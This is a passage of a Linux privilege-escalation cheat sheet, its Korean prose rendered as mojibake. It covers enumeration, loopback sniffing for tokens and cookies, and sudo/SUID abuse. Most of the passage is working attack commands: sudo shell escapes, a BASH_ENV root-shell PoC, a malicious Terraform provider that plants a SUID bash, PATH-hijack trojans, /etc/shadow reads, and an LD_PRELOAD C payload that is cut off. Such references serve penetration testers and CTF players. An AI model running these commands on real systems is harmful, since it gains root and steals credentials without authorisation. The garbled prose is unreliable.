D-Bus๋ ํ์ฉ/๊ฑฐ๋ถ ๋ชจ๋ธ๋ก ์๋ํ๋ฉฐ, ๋งค์นญ๋๋ ์ ์ฑ ๊ท์น๋ค์ ๋์ ํจ๊ณผ์ ๋ฐ๋ผ ๋ฉ์์ง ๊ถํ(๋ฉ์๋ ํธ์ถ, ์ ํธ ์ ์ก ๋ฑ)์ ๊ด๋ฆฌํฉ๋๋ค. ์ด๋ฌํ ์ ์ฑ ๋ค์ ๋ฒ์ค์์ ์ํธ์์ฉ์ ๋ช ์ํ๋ฉฐ, ํด๋น ๊ถํ์ ์ ์ฉํจ์ผ๋ก์จ ๊ถํ ์์น์ด ๊ฐ๋ฅํด์ง ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด /etc/dbus-1/system.d/wpa_supplicant.conf์ ์๋ ์ด๋ฌํ ์ ์ฑ
์ ์๊ฐ ์ ๊ณต๋๋ฉฐ, ์ฌ๊ธฐ์๋ root ์ฌ์ฉ์๊ฐ fi.w1.wpa_supplicant1์ ์์ ํ๊ณ , ๊ทธ๋ก๋ถํฐ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๊ณ ๋ฐ์ ์ ์๋ ๊ถํ์ ๋ํ ์์ธํ ๋ด์ฉ์ด ํฌํจ๋์ด ์์ต๋๋ค.
์ฌ์ฉ์๋ ๊ทธ๋ฃน์ด ์ง์ ๋์ง ์์ ์ ์ฑ ์ ๋ณดํธ์ ์ผ๋ก ์ ์ฉ๋๋ฉฐ, โdefaultโ ์ปจํ ์คํธ ์ ์ฑ ์ ๋ค๋ฅธ ํน์ ์ ์ฑ ์ผ๋ก ๋ค๋ฃจ์ด์ง์ง ์๋ ๋ชจ๋ ๋์์ ์ ์ฉ๋ฉ๋๋ค.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
์ฌ๊ธฐ์์ D-Bus ํต์ ์ enumerateํ๊ณ exploitํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
D-Bus Enumeration & Command Injection Privilege Escalation
๋คํธ์ํฌ
๋คํธ์ํฌ๋ฅผ enumerateํ๊ณ ๋จธ์ ์ ์์น๋ฅผ ํ์ ํ๋ ๊ฒ์ ํญ์ ํฅ๋ฏธ๋กญ์ต๋๋ค.
์ผ๋ฐ์ ์ธ enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)
#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1
#L2 neighbours
(arp -e || arp -a || ip neigh)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null
#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null
#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20
#Files used by network services
lsof -i
์์๋ฐ์ด๋ ํํฐ๋ง ๋น ๋ฅธ ๋ถ๋ฅ
ํธ์คํธ๊ฐ ๋ช ๋ น์ ์คํํ ์ ์์ผ๋ callbacks๊ฐ ์คํจํ๋ค๋ฉด DNS, transport, proxy ๋ฐ route ํํฐ๋ง์ ๋น ๋ฅด๊ฒ ๊ตฌ๋ถํ์ธ์:
# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true
# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me
Open ports
ํญ์ ์ ๊ทผํ๊ธฐ ์ ์ ์ด์ ์ ์ํธ์์ฉํ ์ ์์๋ ๋จธ์ ์์ ์คํ ์ค์ธ network services๋ฅผ ํ์ธํ์ธ์:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u
Classify listeners by bind target:
0.0.0.0/[::]: ๋ชจ๋ ๋ก์ปฌ ์ธํฐํ์ด์ค์ ๋ ธ์ถ๋จ.127.0.0.1/::1: ๋ก์ปฌ ์ ์ฉ (good tunnel/forward candidates).- Specific internal IPs (e.g.
10.x,172.16/12,192.168.x,fe80::): ๋ณดํต ๋ด๋ถ ์ธ๊ทธ๋จผํธ์์๋ง ์ ๊ทผ ๊ฐ๋ฅ.
๋ก์ปฌ ์ ์ฉ ์๋น์ค ํธ๋ฆฌ์์ง ์ํฌํ๋ก์ฐ
ํธ์คํธ๋ฅผ ํ์ทจํ๋ฉด, 127.0.0.1์ ๋ฐ์ธ๋๋ ์๋น์ค๊ฐ ์ข
์ข
์
ธ์์ ์ฒ์์ผ๋ก ์ ๊ทผ ๊ฐ๋ฅํด์ง๋๋ค. ๋น ๋ฅธ ๋ก์ปฌ ์ํฌํ๋ก์ฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
# 1) Find local listeners
ss -tulnp
# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1
# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1
# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>
LinPEAS๋ฅผ ๋คํธ์ํฌ ์ค์บ๋๋ก ์ฌ์ฉํ๊ธฐ (๋คํธ์ํฌ ์ ์ฉ ๋ชจ๋)
๋ก์ปฌ PE ๊ฒ์ฌ ์ธ์๋, linPEAS๋ ์ง์ค๋ ๋คํธ์ํฌ ์ค์บ๋๋ก ์คํ๋ ์ ์์ต๋๋ค. $PATH์ ์๋ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฐ์ด๋๋ฆฌ(์ผ๋ฐ์ ์ผ๋ก fping, ping, nc, ncat)๋ฅผ ์ฌ์ฉํ๋ฉฐ ํด์ ์ค์นํ์ง ์์ต๋๋ค.
# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t
# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24
# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20
# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
๋ง์ฝ -d, -p, ๋๋ -i๋ฅผ -t ์์ด ์ ๋ฌํ๋ฉด, linPEAS๋ ์์ ๋คํธ์ํฌ ์ค์บ๋๋ก ๋์ํฉ๋๋ค (๋๋จธ์ง privilege-escalation ๊ฒ์ฌ๋ค์ ๊ฑด๋๋๋๋ค).
Sniffing
ํธ๋ํฝ์ sniffํ ์ ์๋์ง ํ์ธํ์ธ์. ๊ฐ๋ฅํ๋ค๋ฉด ์ผ๋ถ credentials๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
timeout 1 tcpdump
๋น ๋ฅธ ์ค๋ฌด ์ ๊ฒ:
#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"
#Find capture interfaces
tcpdump -D
ip -br addr
Loopback (lo)๋ post-exploitation์์ ํนํ ์ ์ฉํ๋ฐ, ๋ง์ ๋ด๋ถ ์ ์ฉ(internal-only) ์๋น์ค๊ฐ ๊ทธ๊ณณ์์ tokens/cookies/credentials๋ฅผ ๋
ธ์ถํ๊ธฐ ๋๋ฌธ์
๋๋ค:
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
์ง๊ธ ์บก์ฒํ๊ณ ๋์ค์ ํ์ฑ:
sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri
์ฌ์ฉ์
์ผ๋ฐ ์ด๊ฑฐ
์์ ์ด ๋๊ตฌ์ธ์ง, ์ด๋ค ๊ถํ์ ๊ฐ์ง๊ณ ์๋์ง, ์์คํ ์ ์ด๋ค ์ฌ์ฉ์๋ค์ด ์๋์ง, ๋๊ฐ ๋ก๊ทธ์ธํ ์ ์๋์ง, ๋๊ฐ root privileges๋ฅผ ๊ฐ์ง๊ณ ์๋์ง ํ์ธํ์ธ์:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
ํฐ UID
์ผ๋ถ Linux ๋ฒ์ ์ UID > INT_MAX ์ฌ์ฉ์๊ฐ ๊ถํ์ ์์น์ํฌ ์ ์๋ ๋ฒ๊ทธ์ ์ํฅ์ ๋ฐ์์ต๋๋ค. ์์ธํ ์ ๋ณด: here, here ๋ฐ here.
Exploit it using: systemd-run -t /bin/bash
๊ทธ๋ฃน
root ๊ถํ์ ๋ถ์ฌํ ์ ์๋ ์ด๋ค ๊ทธ๋ฃน์ ๊ตฌ์ฑ์์ธ์ง ํ์ธํ์ธ์:
Interesting Groups - Linux Privesc
ํด๋ฆฝ๋ณด๋
๊ฐ๋ฅํ๋ค๋ฉด ํด๋ฆฝ๋ณด๋์ ํฅ๋ฏธ๋ก์ด ๋ด์ฉ์ด ์๋์ง ํ์ธํ์ธ์
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
๋น๋ฐ๋ฒํธ ์ ์ฑ
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Known passwords
ํ๊ฒฝ์ ๋น๋ฐ๋ฒํธ๋ฅผ ์๊ณ ์๋ค๋ฉด, ๊ทธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํด ๊ฐ ์ฌ์ฉ์๋ก ๋ก๊ทธ์ธํด ๋ณด์ธ์.
Su Brute
๋ง์ ์์์ ๋ฐ์์ํค๋ ๊ฒ์ด ๊ด์ฐฎ๊ณ ์์คํ
์ su ๋ฐ timeout ๋ฐ์ด๋๋ฆฌ๊ฐ ์๋ค๋ฉด, su-bruteforce๋ฅผ ์ฌ์ฉํด ์ฌ์ฉ์๋ฅผ ๋ธ๋ฃจํธํฌ์คํด ๋ณผ ์ ์์ต๋๋ค.
Linpeas๋ -a ์ต์
์ผ๋ก ์ฌ์ฉ์ ๋ธ๋ฃจํธํฌ์ค๋ ์๋ํฉ๋๋ค.
Writable PATH abuses
$PATH
$PATH์ ์ด๋ค ํด๋์ ์ฐ๊ธฐํ ์ ์๋ ๊ฒฝ์ฐ, ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋ ์์ ๋ค๋ฅธ ์ฌ์ฉ์(์ด์์ ์ผ๋ก๋ root)๊ฐ ์คํํ ๋ช ๋ น ์ด๋ฆ์ผ๋ก ๋ฐฑ๋์ด๋ฅผ ์์ฑํ์ฌ ๊ถํ์ ์์น์ํฌ ์ ์์ต๋๋ค. ๋จ, ํด๋น ๋ช ๋ น์ด $PATH์์ ๋น์ ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ํด๋๋ณด๋ค ์์ ์์นํ ํด๋์์ ๋ก๋๋์ง ์์์ผ ํฉ๋๋ค.
SUDO and SUID
You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
์ผ๋ถ ์์์น ๋ชปํ ๋ช ๋ น์ ํ์ผ์ ์ฝ๊ณ /๋๋ ์ฐ๊ฑฐ๋ ์ฌ์ง์ด ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ํด์ค๋๋ค. ์๋ฅผ ๋ค์ด:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Sudo ์ค์ ์ ์ฌ์ฉ์๊ฐ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ง ๋ชปํด๋ ๋ค๋ฅธ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์ผ๋ถ ๋ช ๋ น์ ์คํํ ์ ์๊ฒ ํ์ฉํ ์ ์๋ค.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
์ด ์์์ ์ฌ์ฉ์ demo๋ root๋ก vim์ ์คํํ ์ ์์ผ๋ฏ๋ก, ๋ฃจํธ ๋๋ ํฐ๋ฆฌ์ ssh key๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ sh๋ฅผ ํธ์ถํด shell์ ์ป๋ ๊ฒ์ ๋งค์ฐ ์ฝ์ต๋๋ค.
sudo vim -c '!sh'
SETENV
์ด ์ง์๋ฌธ์ ์ฌ์ฉ์๊ฐ ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ๋ ๋์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํ ์ ์๊ฒ ํฉ๋๋ค:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
์ด ์์ ๋ based on HTB machine Admirer๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ฉฐ, ์คํฌ๋ฆฝํธ๋ฅผ root๋ก ์คํํ๋ ๋์ ์์์ python library๋ฅผ ๋ก๋ํ๊ธฐ ์ํด PYTHONPATH hijacking์ vulnerable ํ์ต๋๋ค:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV๋ sudo env_keep๋ฅผ ํตํด ๋ณด์กด๋จ โ root shell
If sudoers preserves BASH_ENV (e.g., Defaults env_keep+="ENV BASH_ENV"), you can leverage Bashโs non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
-
์๋ ์๋ฆฌ: ๋น๋ํํ ์ ธ์์๋ Bash๊ฐ
$BASH_ENV๋ฅผ ํ๊ฐํ๊ณ ๋์ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ธฐ ์ ์ ํด๋น ํ์ผ์ sourceํ๋ค. ๋ง์ sudo ๊ท์น์ ์คํฌ๋ฆฝํธ๋ ์ ธ ๋ํผ๋ฅผ ์คํํ๋๋ก ํ์ฉํ๋ค. ๋ง์ฝ sudo๊ฐBASH_ENV๋ฅผ ๋ณด์กดํ๋ค๋ฉด, ๋น์ ์ ํ์ผ์ root ๊ถํ์ผ๋ก ์์ค๋๋ค. -
์๊ตฌ ์ฌํญ:
-
์คํ ๊ฐ๋ฅํ sudo ๊ท์น(๋น๋ํํ์ผ๋ก
/bin/bash๋ฅผ ํธ์ถํ๋ ๋์์ด๋, ์ด๋ค bash ์คํฌ๋ฆฝํธ๋ ์ง). -
BASH_ENV๊ฐenv_keep์ ํฌํจ๋์ด ์์ (sudo -l๋ก ํ์ธ). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- ํ๋๋:
- env_keep์์
BASH_ENV(๋ฐENV)๋ฅผ ์ ๊ฑฐํ๊ณ ,env_reset์ ์ ํธํ์ธ์. - sudo๋ก ํ์ฉ๋ ๋ช ๋ น์ ๋ํด ์ ธ ๋ํผ ์ฌ์ฉ์ ํผํ๊ณ , ์ต์ํ์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ฌ์ฉํ์ธ์.
- ๋ณด์กด๋ ํ๊ฒฝ ๋ณ์ ์ฌ์ฉ ์ sudo I/O ๋ก๊น ๋ฐ ๊ฒฝ๊ณ ๋ฅผ ๊ณ ๋ คํ์ธ์.
sudo๋ก HOME์ด ๋ณด์กด๋ ์ํ์์์ Terraform (!env_reset)
๋ง์ฝ sudo๊ฐ ํ๊ฒฝ์ ์ ์งํ ์ฑ(!env_reset) terraform apply๋ฅผ ํ์ฉํ๋ฉด, $HOME์ ํธ์ถํ ์ฌ์ฉ์์ ๊ฒ์ผ๋ก ๋จ์ต๋๋ค. ๋ฐ๋ผ์ Terraform์ ๋ฃจํธ๋ก์ $HOME/.terraformrc๋ฅผ ๋ก๋ํ๊ณ provider_installation.dev_overrides๋ฅผ ์ ์ฉํฉ๋๋ค.
- ํ์ํ provider๋ฅผ ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋๋ ํฐ๋ฆฌ๋ก ์ง์ ํ๊ณ , provider ์ด๋ฆ์ผ๋ก ๋ ์
์ฑ ํ๋ฌ๊ทธ์ธ(์:
terraform-provider-examples)์ ๋ฐฐ์นํ์ธ์:
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform์ Go plugin ํธ๋์ ฐ์ดํฌ์ ์คํจํ์ง๋ง ์ข ๋ฃ๋๊ธฐ ์ ์ ํ์ด๋ก๋๋ฅผ root ๊ถํ์ผ๋ก ์คํํ์ฌ SUID ์์ ๋จ๊น๋๋ค.
TF_VAR ์ค๋ฒ๋ผ์ด๋ + symlink ๊ฒ์ฆ ์ฐํ
Terraform ๋ณ์๋ TF_VAR_<name> ํ๊ฒฝ ๋ณ์๋ก ์ ๊ณตํ ์ ์์ผ๋ฉฐ, sudo๊ฐ ํ๊ฒฝ์ ๋ณด์กดํ ๋ ์ ์ง๋ฉ๋๋ค. strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") ๊ฐ์ ์ฝํ ๊ฒ์ฆ์ symlink๋ก ์ฐํํ ์ ์์ต๋๋ค:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ํด์ํ์ฌ ์ค์ /root/root.txt๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ฝ์ ์ ์๋ ๋์ ์์น๋ก ๋ณต์ฌํฉ๋๋ค. ๋์ผํ ๋ฐฉ๋ฒ์ผ๋ก ๋์ ์ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๋ฏธ๋ฆฌ ์์ฑํด provider์ ๋์ ๊ฒฝ๋ก๊ฐ /etc/cron.d/ ์์ ๊ฐ๋ฆฌํค๋๋ก ํจ์ผ๋ก์จ ํน๊ถ ๊ฒฝ๋ก์ ์ฐ๊ธฐํ ์๋ ์์ต๋๋ค.
requiretty / !requiretty
์ผ๋ถ ์ค๋๋ ๋ฐฐํฌํ์์๋ sudo๊ฐ requiretty๋ก ์ค์ ๋ ์ ์์ผ๋ฉฐ, ์ด ์ค์ ์ sudo๊ฐ ๋ํํ TTY์์๋ง ์คํ๋๋๋ก ๊ฐ์ ํฉ๋๋ค. !requiretty๊ฐ ์ค์ ๋์ด ์๊ฑฐ๋(๋๋ ํด๋น ์ต์
์ด ์์ผ๋ฉด) sudo๋ reverse shells, cron jobs, scripts์ ๊ฐ์ ๋น๋ํํ ์ปจํ
์คํธ์์๋ ์คํ๋ ์ ์์ต๋๋ค.
Defaults !requiretty
์ด๊ฒ ์์ฒด๋ง์ผ๋ก๋ ์ง์ ์ ์ธ ์ทจ์ฝ์ ์ ์๋์ง๋ง, full PTY๊ฐ ํ์ํ์ง ์์ ์ํฉ์์๋ sudo ๊ท์น์ ์ ์ฉํ ์ ์๋ ๊ฒฝ์ฐ๋ฅผ ํ๋ํฉ๋๋ค.
Sudo env_keep+=PATH / insecure secure_path โ PATH hijack
If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.
- Requirements: a sudo rule (often
NOPASSWD) running a script/binary that calls commands without absolute paths (free,df,ps, etc.) and a writable PATH entry that is searched first.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free โ runs our trojan
bash -p # root shell via SUID bit
Sudo ์คํ ๊ฒฝ๋ก ์ฐํ
Jump๋ก ๋ค๋ฅธ ํ์ผ์ ์ฝ๊ฑฐ๋ symlinks๋ฅผ ์ฌ์ฉํ์ธ์. ์๋ฅผ ๋ค์ด sudoers ํ์ผ: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
๋ง์ฝ wildcard๊ฐ ์ฌ์ฉ๋๋ค๋ฉด (*), ํจ์ฌ ๋ ์ฝ์ต๋๋ค:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
๋์์ฑ : https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo ๋ช ๋ น/SUID ๋ฐ์ด๋๋ฆฌ (๋ช ๋ น ๊ฒฝ๋ก ์์)
ํน์ ๋ช ๋ น์ ๋ํด sudo ๊ถํ์ด ๊ฒฝ๋ก๋ฅผ ์ง์ ํ์ง ์๊ณ ๋ถ์ฌ๋ ๊ฒฝ์ฐ: hacker10 ALL= (root) less , PATH ๋ณ์๋ฅผ ๋ณ๊ฒฝํ์ฌ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
์ด ๊ธฐ์ ์ suid ๋ฐ์ด๋๋ฆฌ๊ฐ **๊ฒฝ๋ก๋ฅผ ์ง์ ํ์ง ์๊ณ ๋ค๋ฅธ ๋ช ๋ น์ ์คํํ ๊ฒฝ์ฐ(ํญ์ ์ด์ํ SUID ๋ฐ์ด๋๋ฆฌ์ ๋ด์ฉ์ strings ๋ก ํ์ธํ์ธ์)**์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค.
SUID binary with command path
๋ง์ฝ suid ๋ฐ์ด๋๋ฆฌ๊ฐ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ์ฌ ๋ค๋ฅธ ๋ช ๋ น์ ์คํํ๋ค๋ฉด, suid ํ์ผ์ด ํธ์ถํ๋ ๋ช ๋ น ์ด๋ฆ์ผ๋ก export a function์ ์์ฑํด ์๋ํด๋ณผ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ๋ง์ฝ suid ๋ฐ์ด๋๋ฆฌ๊ฐ /usr/sbin/service apache2 start ๋ฅผ ํธ์ถํ๋ค๋ฉด, ํด๋น ํจ์๋ฅผ ์์ฑํ๊ณ exportํด์ผ ํฉ๋๋ค:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
๊ทธ๋ฐ ๋ค์ suid ๋ฐ์ด๋๋ฆฌ๋ฅผ ํธ์ถํ๋ฉด ์ด ํจ์๊ฐ ์คํ๋ฉ๋๋ค
SUID wrapper์ ์ํด ์คํ๋๋ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ
์ผ๋ฐ์ ์ธ ์ปค์คํ ์ฑ ์๋ชป๋ ๊ตฌ์ฑ ์ฌ๋ก๋ก๋ root-owned SUID ๋ฐ์ด๋๋ฆฌ wrapper๊ฐ ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ์ง๋ง, ๊ทธ ์คํฌ๋ฆฝํธ ์์ฒด๋ low-priv users์ ์ํด ์ฐ๊ธฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค.
์ ํ์ ์ธ ํจํด:
int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}
๋ง์ฝ /usr/local/bin/backup.sh์ ์ฐ๊ธฐ ๊ถํ์ด ์๋ค๋ฉด, payload ๋ช
๋ น์ ์ถ๊ฐํ ๋ค์ SUID wrapper๋ฅผ ์คํํ ์ ์์ต๋๋ค:
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
๋น ๋ฅธ ํ์ธ:
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
์ด ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ ํนํ /usr/local/bin์ ๋ฐฐํฌ๋๋ โ์ ์ง๊ด๋ฆฌโ/โ๋ฐฑ์
โ ๋ํผ์์ ํํ ๋ฐ์ํฉ๋๋ค.
LD_PRELOAD & LD_LIBRARY_PATH
LD_PRELOAD ํ๊ฒฝ ๋ณ์๋ ํ๋ ์ด์์ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ(.so ํ์ผ)๋ฅผ ๋ก๋๊ฐ ํ์ค C ๋ผ์ด๋ธ๋ฌ๋ฆฌ(libc.so)๋ฅผ ํฌํจํ ๋ค๋ฅธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ค๋ณด๋ค ๋จผ์ ๋ก๋ํ๋๋ก ์ง์ ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ๊ณผ์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ๋ฆฌ๋ก๋ฉ(preloading)์ด๋ผ๊ณ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์์คํ ๋ณด์์ ์ ์งํ๊ณ ํนํ suid/sgid ์คํ ํ์ผ์์ ์ด ๊ธฐ๋ฅ์ด ์ ์ฉ๋๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์์คํ ์ ๋ค์๊ณผ ๊ฐ์ ์กฐ๊ฑด์ ๊ฐ์ ํฉ๋๋ค:
- ๋ก๋๋ ์ค์ ์ฌ์ฉ์ ID (ruid)๊ฐ ์ ํจ ์ฌ์ฉ์ ID (euid)์ ์ผ์นํ์ง ์๋ ์คํ ํ์ผ์ ๋ํด LD_PRELOAD๋ฅผ ๋ฌด์ํฉ๋๋ค.
- suid/sgid๊ฐ ์ค์ ๋ ์คํ ํ์ผ์ ๊ฒฝ์ฐ, ๋์ผํ๊ฒ suid/sgid๋ก ์ค์ ๋ ํ์ค ๊ฒฝ๋ก์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ง ํ๋ฆฌ๋ก๋๋ฉ๋๋ค.
sudo๋ก ๋ช
๋ น์ ์คํํ ์ ์๊ณ sudo -l์ ์ถ๋ ฅ์ ๋ฌธ๊ตฌ env_keep+=LD_PRELOAD๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด ๊ถํ ์์น์ด ๋ฐ์ํ ์ ์์ต๋๋ค. ์ด ๊ตฌ์ฑ์ ๋ช
๋ น์ sudo๋ก ์คํํ ๋๋ LD_PRELOAD ํ๊ฒฝ ๋ณ์๊ฐ ์ ์ง๋์ด ์ธ์๋๋๋ก ํ์ฉํ๋ฏ๋ก, ์์ ์ฝ๋๋ฅผ ํฅ์๋ ๊ถํ์ผ๋ก ์คํํ๊ฒ ๋ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
Defaults env_keep += LD_PRELOAD
๋ค์ ์ด๋ฆ์ผ๋ก ์ ์ฅ: /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
